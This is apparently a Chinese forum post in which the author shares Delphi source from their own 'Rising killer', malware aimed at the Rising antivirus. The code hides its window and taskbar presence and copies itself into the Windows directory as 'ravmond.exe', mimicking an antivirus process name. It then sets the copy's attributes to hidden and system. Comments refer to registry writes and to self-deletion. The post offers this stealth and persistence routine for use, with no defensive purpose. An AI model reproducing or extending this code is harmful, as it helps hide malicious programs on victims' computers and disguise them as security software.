给你一段我写的瑞星杀手中的源码<br>呵呵<br>procedure TForm1.FormCreate(Sender: TObject);<br> var<br> F3: string;<br>begin<br> Application.ShowMainForm:=False;<br> form1.Left:=-200;<br> Form1.Timer1.Enabled :=True; //写注册表<br> with Application do<br> SetWindowLong(Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW or GetWindowLong(Handle, GWL_EXSTYLE));<br><br> with MyNotifyStruct do begin<br> cbSize := sizeof(MyNotifyStruct);<br> Wnd := Handle;<br> uID := 1;<br> uFlags := NIF_ICON or NIF_TIP or NIF_MESSAGE;<br> hIcon := Application.Icon.Handle;<br><br> end;<br> Shell_NotifyIcon(NIM_ADD, @MyNotifyStruct);<br> ShowWindow(Application.Handle,SW_HIDE);<br> SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);<br><br>begin<br> F3 := GetWinDir + '/ravmond.exe'; //复制一份到系统目录<br> if not FileExists(F3) then<br> begin<br><br><br><br> CopyFile(pchar(ParamStr(0)), pchar(F3), true); //复制<br> SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);<br> {设置文件的属性为系统和隐藏}<br> //winexec(pchar(F3), 1); {运行文件}<br> //application.Terminate; //关闭释放 文件<br> // deleteSelf; //自删除<br> Close;<br><br>end;<br><br>end;<br><br>end;<br><br>procedure TForm1.FormDestroy(Sender: TObject);<br>begin<br>Shell_NotifyIcon(NIM_DELETE, @MyNotifyStruct);<br>end;